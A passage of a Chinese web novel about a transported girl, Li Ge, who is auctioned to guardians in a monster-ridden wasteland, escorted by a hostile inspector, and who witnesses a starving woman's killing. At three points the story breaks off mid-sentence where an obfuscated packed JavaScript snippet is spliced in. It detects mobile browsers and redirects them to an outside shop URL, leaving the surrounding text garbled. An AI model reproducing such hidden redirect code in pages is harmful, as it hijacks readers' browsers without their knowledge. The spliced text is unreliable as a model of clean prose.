“……老师,你是被002号救的?”通讯器那头寒兔问。 “嗯。”熟悉的声音传来出来。 “差点忘了,”周远泽懊恼道,“抱歉,各位监护人,我也许久没有见过这样传奇的人虫了,实在是一只手数不过来她的功绩。她杀了阿尔法鼠,30年了,连兵团也没能找到阿尔法鼠所在位置,她七天就破了。回到我们的话题,欺诈师到底是不是好指挥?我在这方面专业经验不多,无法直接回答问题。我知道的是,这将是一场豪赌,有好牌,就有人下注,监护人们,这张牌要不要就由你们决定了。” 绿点有动静了,开始小规模地闪烁,继而就像病毒一样传染开,整张屏幕数百个点疯狂地闪烁着,代表后台的监护人正在活跃竞价。 【监护人:天天,谢一一】 【居住地:风城】 【贡献点:150000】 “疯了吗?她为什么可以卖这么贵,怎么什么功劳都算在她头上了,我不是也杀了一个老师,还有我们也不是她救上来的!”一路听下来的云霄南感觉在听一段全然陌生的故事。 方小激动地数了三次零,小眼睛热泪盈眶:“队长真是金牌销售!发财了!怒挣一万五!” 这就是娱乐圈顶流的带货能力吗?黎歌被深深地震撼到了。 震惊之余,黎歌没忘记打听消息:“风城是什么等级的城市?最高吗?” 摇钱树开口了,方小这会儿恨不得过去给她捶腿,什么都愿意答:“废土总共有八大城市和一个中心城,除了中心城绿洲以外,八大城市的监护人都有人虫收养资格。其实城市和城市之间并没有绝对的排名,不过就近期的数据来看,风城安全性排第二,第一是天城,兵团几大核心部门都在天城,我做梦都想去看看。” “那我要去天城。”黎歌想了想,机会就一次,她必须要抓住。 方小的笑容僵在脸上:“你说什么呢?002号,拍卖的结果已经出了。” 房间很小,所以他们的讨论声一字不漏落在了周远泽耳朵里,他捂着麦克风,道:“002号,15 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16755182|187761||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 万啊,我这些年从来没有拍出过这么高的价格,我敢肯定,不会有欺诈师可以拍出这个价格。结果已经出了,你别在这时候闹事,我帮不了你。” “刚才的拍卖是基于你已知的信息进行的,你并没有跟我讨论。如果人虫有增值项,按你们的流程,拍卖是可以重启的。” “……你怎么知道重启流程?这个流程,我在职期间也没有用过,我只在培训手册里见过它。” “通过一些等价交换。” 黎歌说到这里,整个人松了一大口气。当初在人虫教室,老师用一个答案换走天香。那是她最最纠结的时刻,当时掌握的信息太少,机会只有一次,而她想问的问题太多了。 包括体育馆是什么、怎么逃出去、怎么穿越回原来的世界等等,每一个答案都是当时的她迫切想要知道的。 未知带来了潜在危险,也带来了恐惧。 时至今日,废土世界仍旧有大量她不知道的事情,这里有一套全新的社会运作规则,稍有不慎就会死。越被动,情况越不会乐观。 人虫教室存在100年,100年里,无数的穿越者被迫来到这个世界,时至今日,仍旧没有人可以结束掉这场悲剧,就证明了,她需要更加谨慎、更加大胆,才能抓住那么一丝希望。 当时,在讲台上,她和老师进行了以下对话。 “……做个交易吧,天香留下,我可以回答你一个问题。” “原来它叫天香。但是老师,我要如何确定这是否是等价交易?” “取决于你的问题是否有价值。” “久等了老师。这个问题的答案对我很重要。”黎歌站在讲台边,下定决心开口,“有一天,我会安全地离开这个危险的区域,并且成功地穿越回我原来的世界,过上正常生活。这中间,有一项关键的选择,将决定我成功与否,老师,你会建议我怎么选?” 老师压低了身子,怒气直逼黎歌:“……卑鄙,这根本构不成问题。你在试图让我出题,并且还要求我来解我自己的题!” “在我们的原来世界,老师是唯一的出题人,也会负责改卷子。老师,你会生气,说明这是个有价值的问题。” “所以我一直不喜欢人虫!”老师的怒气滔天,但硝石味却久久未变,黎歌第一次感恩自己能拥有通感天赋,令她能够在幽暗的丛林中,嗅到出口的味道。 “话说在前面,我的答案不能保证你的绝对安全,在这片土地上,没有生物拥有绝对的安全,包括我自己在内,谁知道我会不会下一刻就死在人虫教室。”老师冷冷道。 她忍着气,开始出题:“离开这里之后,你将拥有一次选择权,决定自己的去向。安全的选择只会带来平庸或者懦弱的一生,你必须要做最冒险的选择,你要去最高等级的城市,去靠近权利、势力和财团。而拥有这项选择权,意味着你需要提高你的经济价值。这片土地已经被扒了个底朝天,是最贫瘠的土地,你能找到多少具有经济价值的东西,就看你的命了。至于什么是经济价值——我们会缺什么,你自己想吧。” 屏幕上的绿点已经停止了闪烁,此时,监护人可能已经在庆祝自己获得了她的监护权。 黎歌对着周远泽问:“周队,在废土,一瓶红酒值多少贡献点?” “酿造一瓶红酒,需要大量的葡萄,在适宜的温度、湿度环境下发酵。”周远泽不知道她突然问这个干什么,“现在没有任何城市能够种植出足够酿酒的葡萄,只有黑市还有一些旧时代的货流通,价格,你把方小卖了都买不了一瓶。你问这个……你该不会有酒?!” 黎歌伸出手掌,道:“我有五瓶。” 顺利地听到了周远泽和方小震惊的吸气声,黎歌松了口气,很好,可以交卷了。但她还可以把卷面分弄得更漂亮些。 她从工装裤兜里拿出了黑色晶体,道:“这是阿尔法鼠——九章的晶块,应该具有不小的研究价值。好了,周队,就拜托你了。” “麻烦替我安排天城的监护人。” 29. 车站03 周远泽总弯着的桃花眼难得的平静了下来。 老实说,他有厌蠢症。 娱乐圈里多的是自以为聪明的蠢货,蠢得千奇百怪。没才华的非要标榜天才,漂亮的总作践自己,该深情的时候夜夜笙歌,还有一种…… “你怎么不懂见好就收的道理呢。”周远泽掩不住语气里的失望,当初隔着通讯器被她挑衅,他以为这会是个好玩点的人,“你哪里有红酒。” 黎歌诧异:“我一直带在身上啊。” 周远泽失笑:“002号,你起码编一个好听的理由,比如放在哪里藏起来了,等着我去挖呢。” “周队,我从小就被教育要诚实,年年都是三好学生,我不撒谎的,”黎歌板正地站着,清晰地咬着字,“红酒就在车上。” 周远泽:“……” 他捋了把头发,尝试安抚自己的薄怒,道:“去找找。” 方小起身:“是的队长。” 用不了半分钟,凌乱的脚步声又冲了回来,方小抱着个木箱回到了房间内。酒香味已经从里面溢了出来。 “不对啊……我们一直都在一起,我记得你是空着手的。”季风都看蒙了。 如果时间充裕的话,黎歌很是愿意再铺垫铺垫。 但是再不着急,监护人这件事就该定下来了。 周远泽的震惊不比其他人少,黎歌很容易就能从他观察的视线里获得这个信息,以及浓烈的情绪味道。黎歌还是那般板正的站姿:“想知道我怎么办到的吗?当你以为你已经摸到我的底的时候,那真的是我的底吗?周队,不要拿你的思想定义我的行为,也不要试探我,我不喜欢。我喜欢有话直说,比如现在我的请求只有一个——重启流程。” 两分钟后,监护人二度刷新了。 【监护人:陆舟,戴安娜】 【居住地:天城】 【贡献点:300000】 云霄南:“我次……” 季风:“可以买600个我。” 呼……黎歌装了个大的,心里的小人已经心累得瘫倒在地了。 下车的时候,她给齐观打了个暗号,让他把酒从黑洞送了过来。 两个人没有碰上面,所以她并不确定齐观能不能顺利执行。 他是不是仍在关注她的一举一动。 他的能力是否会受到距离限制。 都是黎歌担忧的问题。 现在黎歌都有了答案。一觉睡饱之后,有些钻牛角尖的情绪也慢慢淡化了。她很介意齐观的能力给常乐和方京华带来的不幸,但对于齐观来说,他也只是神经受创后,能力失控了而已。 无论是清醒,还是现在的混沌态,他那股单纯味道一直没变。 还好没让他回到地面,否则不需要多久就会被人生吞活剥了。现在这样也不赖,简单的合作,就能把周远泽这个人精唬住了。 房间被拆成了冰火两边,兴奋如方小立刻一蹦三尺高,举着双手迈着碎步来回激动地走,而几个“同学”因为过于震惊,反倒是不约而同地冷了下来。 “天城有那么好吗?你非要去。”灰色瞳孔牢牢地锁着她,云霄南试图从她脸上找到她为何偏执的蜘丝马迹。 黎歌哪管他。人群中,周远泽躲在最后,坐在操控台不知道想什么。黎歌走过去,问:“我以为九章可以值更多贡献点。” 周远泽顺着脏兮兮的工装裤往上,看着她的花脸,双目亮晶晶的贪财模样,跟三好学生和诚实八竿子打不着。胸腔里溢出来一声笑,不得了啊,现在的年轻人,野心真大。 “多出来的十五万只是红酒的附加值。” “这里红酒这么值钱?” “有价无市啊,你有这好东西怎么不早跟我说,我做梦都想喝上一口。唉。至于你说九章,监护人哪敢跟你买这东西,第一基地唯一能被重新评估价值点的,就是它了。” 这样啊……黎歌想了想,看来监护人并不是权势的直接代名词。他们到底是怎么样一群人?为什么非要拍人虫回去呢? 周远泽见她还在动小脑筋,笑:“想套消息是不是?以下仅代表我个人观点,废土恐怕只有两股势力敢收下你手里的晶块,一是中心城绿洲那群科学怪胎,二嘛,在你背后。” “笃笃……”两声敲门声从身后传来。 寒兔抱着手倚着门框,不客气地打断了他们。她长着双好看的大眼睛,但眼尾耷拉着,加上她习惯性微抬下巴的动作,显得这张脸充满了傲慢的攻击性。 修长的腿被紧紧收在黑靴子里,不过,黎歌想,还是少受这逆天身材比的诱惑。因为她刚才听清楚了寒兔走近的脚步声——先前在沙地捕捉不到的脚步声。 没听错的话,寒兔这一双腿是全金属的。 蹬一脚怕是能把人踹穿孔。 “浪费时间,”寒兔摊开手,耸了耸她的肩,“人我押走,多半回不来。练习下怎么跟监护人下跪道歉吧,周远泽。” 周远泽恰好走到她面前,笑得很优雅:“没办法,这是我的工作嘛,局长也指望着拍卖攒点经费,不努力点,整个部门都得被优化了。” “人死在监禁室你就高兴了。” “长官,收尸不是我的工作范围了。” 答复他的是白眼,寒兔来去如风,伸手对着黎歌打了个响指:“走。” 看样子,这就是寒兔和监护人谈判的结果了。 左右是逃不掉,暂时也不知道第一监禁代表着什么,有多危险。不过,寒兔背后的稽查部应该不是冲着她的小命来的。 否则在刚出“校门口”的时候,寒兔就已经动腿了。 但会儿又累又饿,铁打的人也扛不住热武器的攻击。 本着走一步看一步的心态,黎歌准备跟上去。 “等下长官。” 周远泽突然叫住了她们:“她既然已经走完了领养程序,就是天城的合法居民了,按规定可以给她配通讯器。方小,把他们的通讯器领过来。” 再度被打断,寒兔脸都黑了。 她抱着手不住地跺脚,浑身写满了急躁,挥手就往外走:“赶紧,磨磨唧唧得烦死了。” 好像跟周远泽在同一间屋子多呆一会儿都令她不舒服,她自行出去了。 通讯器?方小端着盒子进来了,黎歌看见里面手表样式的东西,顿时再熟悉不过。她现在兜里还揣着一块呢。 周远泽朝她伸出了左手:“该把东西还给我了吧,002号。” 留着也没什么用, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16759451|187761||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 都是她看不懂的字。黎歌掏出死去的老师的通讯器,周远泽碰了下,不知道按了什么东西,通讯器立刻烧了起来!不烫,但黎歌闻到了肉焦味。 左手手腕突然刺痛了下,是周远泽帮她戴上了属于她的通讯器。黎歌觉得自己好像眼花了,她看见通讯器长出了触角,扎入了她的皮肤。不过,其他人先后发出了和她一样的惊吓声,方小连忙解释道:“这是神经链接的过程,没大事。” “活的?”会咬人的手表,黎歌有点难相信。 “可以这么理解。这个世界有很多新鲜又恐怖的事情,你会慢慢了解到的。” 周远泽亲手替她戴完,眨眨眼:“你现在有通讯器了,记得关注我的主页,我最近又发布了新单曲,喜欢就给我充充电,直接转账贡献点我也是不介意的。” “……看来你是真心喜欢创作。” “当然了,这就是顶流的素质嘛,在哪里都要搞一搞事业。” 他说话慢慢悠悠又笑眯眯的,黎歌感觉自己的吐槽属性要被激发了,都穿越了,还没忘记梦想呢。正想让他离远点,电光火石之间,她反应过来,周远泽靠这么近说悄悄话,显然意有所指:“你的主页里是不是有什么信息?” 周远泽不接话了,退后一步用门外能听到的声音向她恳求:“拜托了,002号,你可千万要活着回天城,三十万呢,天城这种级别的监护人,可不是我得罪得起的。” 好刻板的二五仔。 在方小的指导下,她和另外三个人加了通讯器好友。方小说,不出意外,这很可能是他们最后一次见面。离开车站,各自前往不同的城市,未来唯一可能重聚的机会就是在虫域了。 铁皮房下,寒兔收着一条腿靠在黑车旁边,手指间正灵活地把玩着什么。本来以为是硬币,等走进了,黎歌发现那是一颗椭圆形的种子。 寒兔将手心往下翻,种子消失在黎歌视线。这么急的性子,但话好像偏偏不多,寒兔只是瞥了她一眼,自己开门先行上车了。 前排坐着两个人,后排位置宽敞,有两排对向的沙发软座。这会儿寒兔蜷缩在沙发上,手指在通讯器上点了下,手表变成了黎歌熟悉的手机形状,她横向抓着——好像打起了手游。 不说话啊…… 黎歌想了想,自己也没什么理由要搭讪的。 于是在寒兔对面落座,如法炮制把通讯器变成了手机,开始研究这里的互联网世界。 【季风:保重。】 【周末奶奶:望君珍重,谨言、慎行,看顾好自己。】 刚打开就收到了两条留言。 周末奶奶……应该是萧奶吧,怎么取了个这么怪的名字? 黎歌抠了抠通讯器,不知道要怎么回应别人的关心。 所以索性不回了。 研究了一会儿,她直接摸到了目的地频道,触发了私信。 【咕咕:第一监禁是什么?】 【不周山:问得这么直接,不铺垫一下吗?】 周远泽秒回。 分明就是在等她联络。 【咕咕:你知道寒兔要押我去哪里吗?】 【不周山:当然知道啦。】 【不周山:天城^_^】 嗯??? 30. 便利店 合着卖不卖那箱红酒,都能去同一个城市? 黎歌浅浅生气了几秒钟,但也只是几秒钟就想通了。天城作为超一线城市,既然是权利、势力和财阀的中心,作为第一监禁的执行地倒也正常。 这人选择性地跳过了关于第一监禁的提问,黎歌又问了稽查部和治安局的事,同样被打岔过去了。事事有回应,事事瞎扯淡。 难不成理会错他的意思了?他不是来给递信息的? 黎歌懒得猜测他人的态度,研究起这件通讯器。虽说变成了手机的形态,但拿在手里尤其轻薄,物质总量加起来没什么变化。想到刚才那阵刺痛,鬼使神差的黎歌把它贴近了耳朵。 通讯器传来了微弱的心跳声。 真的是活的。 神经链接,有活性的通讯器,加上周远泽那闪躲的态度,大胆猜测下,他们在通讯器的一举一动可能都是被监禁的。 界面很简单,连APP都没有,有点类似于热搜那样,只有一排排的文字,有趋势排名,点击进去是各种匿名讨论。大片都是陌生文字,根本看不懂他们在讨论什么。 唯独数字都是阿拉伯数字,黎歌敏锐地看到了两串字符,300000和002,料想这是在讨论自己。这条帖子热度一路爬升,进入了全网前三,评论区跟野人部落聚会一样叽里呱啦的。 必须得学会这里的文字才行,否则获取信息的障碍太大。 偶尔也是有中文帖子,内容类似于“私拉电线缺大德”、“贡献点100招暑假工”等等无关痛痒的东西。 热度最高的是一个交易帖。 【出新鲜水母胶,超绝修补能力,包括你求而不得的爱情。】 【连水母都有爱情,你没有。】 【超好用,我邻居截肢三个月了,自从用水母胶粘合了狗腿,现在看到电线杆子都要停下来抬一脚。】 【……】 评论区热热闹闹讨论了百来条,0人关心水母胶的价值,全在玩梗,看得黎歌有点恍惚。这群人好像已经接受了回不去的现实,在这里安生过起了日子。他们是怎么办到在经历了人虫教室的血腥洗礼之后,还能够谈笑自如的? 当中有条简短的评论吸引了黎歌的注意。 【水母?虫域坐标给一个。】 【楼上,禁讨论敏感词有关。插一句,东西保真,玩命带出来的。交易仅支持面交。】 果然有敏感词存在。这里言论并不自由,所以人虫们只敢发一些鸡毛蒜皮的小事上网。也有可能敏感帖已经被清理掉了。 同样类型的交易帖,黎歌又刷到了几个。 从字面理解,这些物品是他们从某个虫域带出来的,自由市场支持交易。 老师和周远泽都提到过鼠域的经济价值很低,确实,荒废了30年,基地内有效资源几乎没有,鼠虫的基因试剂都被遗弃在了基地,说明科研人员对它不感兴趣。除了刚穿越的人虫以外,没有外力愿意大费周章进里面搜刮什么。 往深了思考,黎歌发现了突破点。她拿红酒出来换贡献点,周远泽和方小惊讶的仅仅只是红酒的存在,并没有质疑过她的行为。看样子,从虫域中往外带些“有价值”的物品,是这里司空见惯的行为。 虫域的东西可以带出来交换贡献点。 又翻了翻,没翻出再多有效信息了。 黎歌理了理目前发现的信息。 通讯器无搜索引擎,无法直接查询想要知道的信息。 帖子都是纯文字,无视频,无图片,更不会有直播、追剧等等丰富的娱乐方式,顶多就是简单的小游戏——例如寒兔现在在玩的。废土可能并不存在所谓的娱乐。 人与人之间的建联,只能通过线下当面加好友的方式,线上能聊的信息会受到敏感词限制。 所以根本就扒不出来第一监禁的信息。黎歌稍微有点焦虑了。 此时,突然翻出来一个八卦,主角她很熟悉。不就是刚刚还在聊天的周远泽吗? 讨论度领先别人好几页,人气可真高啊。 翻了翻,她直接把八卦帖子里面的内容复制了出来,给对方发了过去。 【咕咕:“华语乐坛曾经的天才男歌手,通过献祭粉丝的命成功上位滴滴司机。小心别乱报尾号,被他卖了都不知道。他就是个叛徒。”——他们说的是真的?】 【不周山:……你太直接了,哪有给当事人这么转发负面帖子的。】 【咕咕:你是通过第四途径攒够的学分。】 【不周山:呵呵,是啊,杀人攒的。让你感到厌恶了吗?】 【咕咕:十分。】 回完她点进了周远泽的主页,最新一条动态是四句歌词,他还真写了新的单曲。周远泽的声音味道很奇怪,复杂得跟吃了好几个人一样,情绪交杂,这人一定是个城府很深的人。 很想删好友。黎歌细想了会儿,决定先留着。 驶离【车站】后,车群进入了一片废墟。 倒塌的钢筋水泥建筑,玻璃渣随处可见,商店的招牌破破烂烂地半挂着。路面凹凸不平,跟开在荒漠中一样颠簸。有个布娃娃被丢弃在街面,被车轮无情地碾了过去。 这样的荒城,接连路过了三个。 有些地方还能看到新鲜的血迹,多半没来得及被雨水冲刷。建筑物有被腐蚀的迹象,这些雨说不定是酸雨一类。 从车窗向外看,天空呈现着奇怪的黄色,夹带着一些青紫。天空的颜色是光散射的结果,日出日落时,蓝紫光被散射,留下暖调的红黄色,本该是很美的景色。但黎歌无法从这片天空感受到任何美,不仅古怪,还给人一种天空异常低矮的感觉。 车突然停了。 黎歌恰好点触到了通讯器某个功能,一个页面弹了出来。 【市民:黎歌】 【居住地:天城】 【贡献点:-300000】 负多少? 负三十万!黎歌两眼一黑,心脏差点撞死在胸腔里。 好巧的数字,不能更巧了,这只能说明一件事——这是她拍卖的贡献点!监护人拍卖花的贡献点,最终会索要回去! 难怪监护人热衷于拍卖,这根本是无本买卖。 对面传来动静,寒兔站起来,把手机扣回手腕。黎歌悲痛之余,感受到她的视线在自己身上停了些许。过会儿寒兔打开车门下去。 这就到了? 应该不是。停车的位置一改先前的荒芜,黎歌透过车玻璃,看见一间无人便利店杵在水泥地的正中央。路过那么多废墟之后,乍看到现代人类文明的痕迹,反而有点不适应了。 现在的位置可能在某个城市的边缘。 说是便利店……表面坑坑洼洼的,留下了许多钝器袭击的痕迹,看来有不少人曾经想要闯进去,但它的材料意外坚硬,所以还能好好地矗立在这里。 寒兔迈着靴子走过去。 有风吹过,把一声非常轻微的叹息带到了黎歌耳边,是淡淡的油柑味。 有人。声音是从便利店后面传来的。 这个念头刚起,人影自己走了出来。旧夹克裹着一副健硕的躯体,女人的身材很棒,高个,宽背,走动时夹克下都是绷紧的肌肉,裤腿断了一截,露出了古铜色有力的小腿。 这样一副被力量眷顾的身躯,却散发着古怪的颓然感。她眼下都是淤青,脸颊凹了进去。走到距离寒兔两臂宽时,她摆起了拳击的姿势。 “给我食物。”她对着寒兔威胁道。 这大概是她第一次打劫,因为她抖得比被打劫的人更厉害,为了让自己的气势更盛,拔高了音调又喊:“刷开便利店,给我取一周的食物出来,快!别耍花招,我是祝福者,我的能力是爆炸,你只要碰触到我的身体,我立刻就会引爆!” 一句冷笑声从寒兔咽喉里溢了出来:“打劫打我身上了?你认不出来我的制服吗?” 拳击女灰蒙蒙的眼睛全是恨意:“你是稽查部的长官,我知道。我太饿了,我已经一个星期没有吃饭了,我只能抢……我在边城打转了一天,那里有很多人虫,他们比我弱,如果我出手抢夺食物一定会成功。但我说服不了自己,因为我知道他们也很饿……所以,如果要抢,那么我应该要抢一些不太缺食物的人。” “很充分的理由。你刚才说你要多少食物?”寒兔问。 “一周……不,五天,三天也行!”拳击女态度松动道,她仍举着拳头,保持着随时进攻的姿势,“谢谢。” 寒兔抬起手腕,凑近便利店的识别器。 “滴——欢迎光临幸福便利店——” 语音播报的同时,寒兔抬起了脚。她轻盈地跳起来,反身,腿像一把铡刀干净利落地劈了下去。整个动作在1秒内完成,拳击女还好好地站着,眼神突然无法聚焦,紧接着腰腹传来了爆炸。 “嘣——” 小幅度的爆炸波及不了任何人,却导致她自己摔倒在地上。腰腹部被平整地切开,断成了两截。肺部的血水涌上来,她连话都来不及说,恐怖地呼吸了几句就咽气了。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16765417|187761||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>一切发生得太快,黎歌感觉神经被那两堆血红色猛地扯了下! 好苦的味道,比油柑味苦一千倍,一万倍。 死亡不再给黎歌带来任何的痛觉刺激,所以,只消片刻,黎歌拉开了车门,抓着枪对准了寒兔! 前排开车的两位见状立刻跳了下来,挡在了寒兔的正前方。 “哈哈……哈哈……终于,你终于露出马脚了!”寒兔抱着肚子,笑得弯了腰,“我就知道你是危险种,你不可能为我们人类效力!” 血液中的空气炸开,那是尸体上一刻还鲜活的证据。 黎歌为自己没能及时扣下扳机而悔恨,她质问:“她只是跟你要食物,三天的食物,稽查部的长官会缺这点贡献点吗?!” “我当然不缺,但我凭什么要给?”寒兔冷哼道,眼底无限冷漠,“连温饱都解决不了的人虫,就是废物,留着也是浪费资源。” 她不管黎歌举起的枪,朝尸体走过去,蹲下身,拨弄了拳击女手腕上的通讯器。 绿屏弹出了一串数字。 【贡献点:0】 寒兔发出了“果然不出我所料”的冷笑:“贡献点为0,意味着她勉强才交够监护人要的贡献点,之后就再也没能从虫域里带出任何有价值的东西。纯废物。” “你要为了这个废物对我开枪吗?002号,这样对我们都好。只要你开枪,我立刻就可以拿到击杀指令。” 同是人类。 一样的四肢,一样的五官。 一样会流血。 可他们每一个都像极了怪物。 怒气引发了耳鸣,黎歌闭上眼睛,强制说服自己冷静下来。她只允许自己无能地狂怒最后三秒。3,2,1。 她把枪收了回去。 “……喂,你开枪啊!”寒兔瞬间急了。 “我没有想开枪,”黎歌咬着后槽牙,“硌着我的背了,换个边放。” 寒兔翻了个白眼:“无语。吃什么?赶紧说,赶路。” 黄昏,吊灯亮了起来,揭示着夜班的开始。 男人端着马克杯路过前台,一阵紧急的电话铃声打破了黄昏的静谧。 “喂,这里是隍市治安局,有什么可以帮您?”男人顺手接了电话。 “%¥”电话那端传来杂乱的动静。 男人看了眼显示屏,电话仍处于通话状态:“喂?请别恶作剧,我们执法者也是很忙的。” “长官,这里发生了命案,救救我们。”电话那头传来了颤抖的呼吸声。 “什么命案?你别急,先把情况说清楚。” “有劫匪闯进来了,我听到他们在打骂楼下的民宿老板,要吃的。其实,他们下午就闯进来了。老板在哭……老头52岁了,是个心地很好的人,之前给我们送过土豆。我们想帮他,但是又不敢!房间隔音很差,我们听到他们在威胁老板要食物。” 呼吸声讲述道这里,抖得更厉害了:“老板应该给他们了,因为我听到了咀嚼的声音。可是,过不了多久,他们又开始打骂老板索要食物……重复了好几次,5个小时,他们吃了5个小时的东西,太诡异了。底下的咀嚼声越来越大,一开始是三个人的声音,后来是六个,八个,数不清了!我们把耳朵贴到地板上,奇怪的感觉又来了,这个咀嚼声好像不是在楼下,而是,在我们的地板里面……好多嘴在咀嚼,他们说好饿,好饿好饿……我们怀疑老板快被杀死了。长官,你快来救救他!” “最近入室抢劫的案件很多,一般抢食物的抢到就会走,不会害人性命。你们别紧张,把地址告诉我,我立刻安排人过来。” “太好了,谢谢长官!这里是温馨民宿2栋,出事点是4楼,我们在5楼。我是祝福者,我会想办法拖延下时间,麻烦你们尽快赶到!” 电话挂断了。 男人端着马克杯,准备去拿花名册,确认下今晚的值班名单,刚走出两步,电话铃声突然又响了起来。 “喂,在电梯了马上出发……哎呀,不是,我以为是之前的人虫打来的电话,什么,不是约好了一起打牌吗?我都准备下班了,等着啊,我马上到。你说那个人虫?”男人把马克杯丢下,“大晚上的,谁要去伺候这些低贱的生物。” 挂断电话后,黑暗之中,女孩拿走了桌上的溜溜球。 她小心翼翼地走到门边,怕脚步声惊动楼下的劫匪,伸手拧开了门把手,一边回头对着房间内开口:“张凡,执法者马上就到了。在他们来之前,我们得帮他们拖延一点时间。走吧。” 31. 温馨民宿01 寒兔带回来的营养剂,是一袋袋长得像吸吸果冻的东西。 包装上依旧是黎歌看不懂的文字。颜色有红的,有绿的,应该是区分了不同的口味。寒兔拿着一袋,叼在嘴里吸着,整个人蜷缩进沙发里打她的游戏。 黎歌拧开包装,入口像高甜的土豆泥,又像掺着麦片的牛奶,味道十分古怪。 【祝福者:黎歌】 【祝福能力:全知者】 【饥饿值:100】 【精神值:65】 【幸运值:44】 【智力值:180(其中20%为饥饿值加点)】 【战力值:108(其中20%为饥饿值加点)】 数值又进化了一点。 五感变得格外的敏感,黎歌只是垂着眼眸,耳朵里捕捉着寒兔和另外两个人的呼吸,眼前就浮现了他们的动作。 无数的狙击点在一呼一吸中跳动着。寒兔的手指飞快游离在通讯器屏幕上,俄罗斯方块以惊人的速度在被消除。驾驶位的人伸手,副驾顺手拿走了他手里的营养剂包装。视觉又漫游到他粗糙的皮肤上,托着下巴瘫坐,在正常的视觉盲区,黎歌却清晰地看到他靠着的车门缝里堆积的灰尘。 “002号,你在干嘛?!”寒兔拔高了声音,她暂停了手里的动作,警惕地看向黎歌,“为什么出现了重瞳?” 黎歌垂下眼眸,将狙击点全数收了回来。再抬头时她的一双眼睛又恢复如初:“你看错了。” 寒兔擦了擦眼睛:“……别耍花招。” 营养剂难吃,但饱腹,顺带解渴。还剩下7袋,都是寒兔刷贡献点买的,而黎歌的部分,据寒兔所说是她的监护人出的贡献点,既然如此何必客气,黎歌就让刷了一周的食物。 剩下的都好好装进了工装裤的口袋里。 车队果然驶进了一座城市。 很难界定这座城市的边缘和大小,遍地废墟中,偶尔拔地而起一座小屋,有时候车从成堆成堆的垃圾小山开过去,五颜六色的塑料袋中掩盖着废弃机器人的铁脑壳。一直到成片的居民区出现在视线里,黎歌才确定这是一座城市——有人生活的那种。 “队长,今晚得在隍市过夜了,”驾驶位的黑衣人探出脸来,向寒兔请示,“沼泽地最近的污染值很不稳定,接到通知,晚上尽量不靠近,我们白天再赶路去天城。” 寒兔正左右移动着方块,没什么表情:“废物,一年了,清剿者还没把沼泽地清理干净。” “那我联系隍市的治安局,给我们安排住处。”黑衣人道。 他正要点开通讯器,寒兔抬了下眼皮:“不用找他们,程序太多了,浪费时间。随便找个民宿。” 黑衣人迟疑了下:“隍市的民宿都在南部贫民区,紧挨着无法带,不受保护。如果半夜有什么状况比较麻烦。” “第六支队全员都在这里,怕什么。” “是,队长。” 看来这里不是天城,是隍市。黎歌心里有数了,季风的目的地就是隍市,不知道他从【车站】出发没有。按照正常流程,监护人会接他们回“家”。 虽然加了好友……不过黎歌不是路过就会给人留言问好的性格,反正只是住一晚,第二天就得赶路了。 时近黄昏——低矮的天空仍旧泛着奇怪的黄色,只是逐渐暗了下来。城市的灯光稀稀松松地亮起。 远远地窥探,隍市的建筑风格与先前的废墟截然不同。 好像是个庞大的寺庙楼群,钢筋混凝土砌起来的黑墙层层高垒,顶端是朱红色的飞檐斗拱。有些坍塌了一半,生锈的钢筋危险地暴露在路旁也无人问津。 成排大木作的尽头,层峦叠栱堆出了近10米高的门,两旁的高楼以木桥相连。那里可能是中心城的入口,因为街上来往的人明显变多了。 这是黎歌第一次看见“居民”。 他们身穿着形式各异的长衣长裤,各有破旧,料想废土上没有足够的水源洗衣服,除了能保证齐整,什么美观、整洁,似乎都不是很被在意的事情。 有人在街边跪下,朝门的方向匍匐朝拜。 数量不多不少,街边的神龛里烧着符纸和香火,纸灯笼摇曳,可能是在参拜他们的神。 【各位隍市的居民请注意,今晚局部地区有神降,请各位居民尽量不要外出,尽早关灯入睡。】 车内响起了广播声。 黎歌:“……” 好诡异的地方,广播怎么会播神学相关的东西。 说局部地区有什么? 车没往入口的方向开,而是向左拐。周边的风景开始荒芜,朱红色的建筑群消失了,取而代之的是零散的平房。泥泞的小道有些颠簸,又拐了个弯,进入了一片老旧的小区。 小区的街道太窄了,五辆车只能停在外围。 一下车,黎歌就闻到了香火的味道——跟天香不太一样,并不会让她浑身发冷、限制细胞进化,更接近21世纪寺庙的香火味。 狭窄的小巷子里偶尔有火光,三两个人围着火盆烧纸。根据车上黑衣人的讨论能推断,这些都是人虫。他们扭头看过来,黎歌正被二十个黑衣人包围在中间,一群人浩浩荡荡挤过巷子,一时间也分不清哪一边更奇怪。 人潮停在了一栋矮旧的居民楼前方。 黎歌看向上方生锈的招牌——温馨民宿。 